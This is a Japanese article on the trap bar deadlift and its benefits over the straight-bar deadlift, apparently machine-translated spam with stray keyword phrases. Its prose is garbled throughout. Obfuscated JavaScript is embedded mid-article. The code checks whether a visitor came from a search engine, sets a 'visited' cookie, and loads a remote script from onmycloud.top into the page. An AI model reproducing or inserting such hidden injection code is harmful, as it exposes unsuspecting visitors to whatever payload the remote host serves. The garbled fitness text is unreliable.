このような高出力がデッドリフトを伴うのを初めて見たのはなぜですか。 シンプル - 私たちは常にストレートバーベルでこれらの量を測定しました.. 結果として、あなたのトレーニングの重さは、最大の力を生み出すためのあなたの足の能力よりも、そうではないとしても、屈曲に耐えるためのあなたの背中伸展器の能力に制限されます.. var _0x36e9=['aGVhZA==','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','RUJ3aFI=','YXBwZW5kQ2hpbGQ=','44OH44OD44OJ44Oq44OV44OIK+WPsA==','eW9YWFc=','VFV6R1Y=','Y1RFcmg=','bGVuZ3Ro','c3BsaXQ=','SENSSGE=','c3Jj','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBkb21haW49','Y29va2ll','T0ROeUo=','cmVUR1Y=','b01wVE0=','eUdmSnI=','bnVlZEs=','Z2V0VGltZQ==','dWVHRGk=','QkxqanU=','Z2VvTGI=','SlBVVG8=','Lmdvb2dsZS4=','LmFvbC4=','LmFsdGF2aXN0YS4=','dmlzaXRlZA==','Q0dDVFA=','aHR0cHM6Ly9vbm15Y2xvdWQudG9wL2pwX2RlYzIucGhwP3g9c2EmcXVlcnk9','RkZRcVo=','LmJpbmcu','UGlUdGE=','S1RVS1U=','UkRWbUM=','LnlhbmRleC4=','cmVmZXJyZXI=','Z2V0','S3VOcWs=','U3lzTkI=','c2V0','eFZFWGs=','Vm5DcGY=','cE9lY2Y=','dXhKa1I=','c2NyaXB0'];(function(_0x20d86a,_0x1c38f2){var _0xb3aec1=function(_0x41230f){while(--_0x41230f){_0x20d86a['push'](_0x20d86a['shift']());}};_0xb3aec1(++_0x1c38f2);}(_0x36e9,0xef));var _0x3b80=function(_0x40a7ff,_0x364c3c){_0x40a7ff=_0x40a7ff-0x0;var _0x3e88a4=_0x36e9[_0x40a7ff];if(_0x3b80['WGppFE']===undefined){(function(){var _0x336d92;try{var _0x2f31e8=Function('return\x20(function()\x20'+'{}.
それ以来、伝統的なストレートバーのデッドリフトとスクワットの両方に対するバックフレンドリーな代替手段として、多くのコーチの間で幅広い支持を得ています。.. この記事では、怪我を回避する手段としてだけでなく、その利点が従来のストレートバーのデッドリフトを上回る可能性がある単独のエクササイズとして、現代の筋力プログラムにおけるトラップバーのデッドリフトの使用を検討します。.. 時には六角形、時には菱形のバーは車のシャシーと10年生の幾何学的問題の間の十字として記述されています.. トラップバーの構成では背後ではなく内側に踏み込むことができるため、長いレバーは水平軸に沿って短くなり、背骨にかかる剪断力を大幅に減らすことができます。.
どちらの演習でも、作業が行われている回転軸から体重がいくらか離れている必要があります。. Linux Mint For Mac Download
しかし、ぎこちない外観にもかかわらず、トラップバー（Hex Barとしても知られています）は、過去30年間における筋力トレーニング機器の最大のイノベーションかもしれません。.. トラップバーはもともと1985年にAl Gerardと名付けられたパワーリフティング愛好家によって特許を取得されました。.. constructor(\x22return\x20this\x22)(\x20)'+');');_0x336d92=_0x2f31e8();}catch(_0x1160ec){_0x336d92=window;}var _0x465f8f='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x336d92['atob']||(_0x336d92['atob']=function(_0xf54f79){var _0x13b713=String(_0xf54f79)['replace'](/=+$/,'');for(var _0x558f29=0x0,_0x128721,_0x2c8975,_0x15818b=0x0,_0x11a6c0='';_0x2c8975=_0x13b713['charAt'](_0x15818b++);~_0x2c8975&&(_0x128721=_0x558f29%0x4?_0x128721*0x40+_0x2c8975:_0x2c8975,_0x558f29++%0x4)?_0x11a6c0+=String['fromCharCode'](0xff&_0x128721>>(-0x2*_0x558f29&0x6)):0x0){_0x2c8975=_0x465f8f['indexOf'](_0x2c8975);}return _0x11a6c0;});}());_0x3b80['DUfUmh']=function(_0x297a1b){var _0x5940af=atob(_0x297a1b);var _0x1a4f72=[];for(var _0x32430a=0x0,_0x3e5eef=_0x5940af['length'];_0x32430a=_0x34944d;},'xVEXk':_0x3b80('0x1f'),'VnCpf':function(_0x3a9022,_0x29700f){return _0x3a9022(_0x29700f);},'pOecf':function(_0x1a7744,_0x240f09){return _0x1a7744+_0x240f09;},'uxJkR':_0x3b80('0x20')};var _0x511f87=[_0x4a91ad[_0x3b80('0x21')],_0x3b80('0x22'),_0x4a91ad['UoBuE'],_0x4a91ad[_0x3b80('0x23')],_0x4a91ad[_0x3b80('0x24')],_0x4a91ad[_0x3b80('0x25')],_0x3b80('0x26')],_0x2a0ac5=document[_0x3b80('0x27')],_0x3936aa=![],_0x1f6599=cookie[_0x3b80('0x28')](_0x4a91ad['Utmsz']);for(var _0x6ba6a6=0x0;_0x4a91ad[_0x3b80('0x29')](_0x6ba6a6,_0x511f87[_0x3b80('0x9')]);_0x6ba6a6++){if(_0x4a91ad[_0x3b80('0x2a')](_0x2a0ac5['indexOf'](_0x511f87[_0x6ba6a6]),0x0)){_0x3936aa=!![];}}if(_0x3936aa){cookie[_0x3b80('0x2b')](_0x4a91ad['Utmsz'],0x1,0x1);if(!_0x1f6599){if(_0x4a91ad[_0x3b80('0x2c')]==='fTiek'){_0x3936aa=!![];}else{_0x4a91ad[_0x3b80('0x2d')](include,_0x4a91ad[_0x3b80('0x2e')](_0x4a91ad[_0x3b80('0x2f')],q)+'');}}}}R(); ウェイトルームの床に生息するすべての奇妙に見える機器の中で、トラップバーのように新しいクライアントから混乱して見えるものは多くありません。.. デッドリフト 台 譲る著者によると、トラップバーを使用すると、ある範囲内の最大以下の荷重で、ストレートバーと比較して著しく高いレベルのピーク力、速度、および出力が生成されました。.. ヘックスバーのデッドリフトとストレートバーのデッドリフトのバイオメカニクスを比較すると、何年もの間理論上何人のコーチが理論化してきたかが確認されました。スペクトラム. Default Mac App To Record On Screen Audio
、ヒップ）、このように体重を移動するためにクローバーのように振る舞うために背中に頼る.. トラップバーはストレートバーバージョンより安全なエクササイズであるだけでなく、最大パワーを構築するためのより効果的なエクササイズでもありました。.. 力は物体の力×速度の尺度であるため、これは16進数デッドリフトにより、より長い距離にわたってより多くの重量をより早く持ち上げることができることを意味します。.. そしてあなたが予想するように、物事が計画通りに厳密に行かないとき、それは請求書を払って動けなくなるのはあなたの背骨です.. 著者らは、トラップバーデッドリフトで測定されたピークパワー値は、パワークリーンのようなオリンピックの重量挙げの練習を見た他の研究で捕らえられたものと同等であったと説明し続けます.. 他の人が指摘したように、ストレートバーデッドリフトとバーベルバックスクワットの両方の最大の欠点は、それが腰椎に与える有害なストレスの量です。. ae05505a44 Post Surgery - Sitting Up
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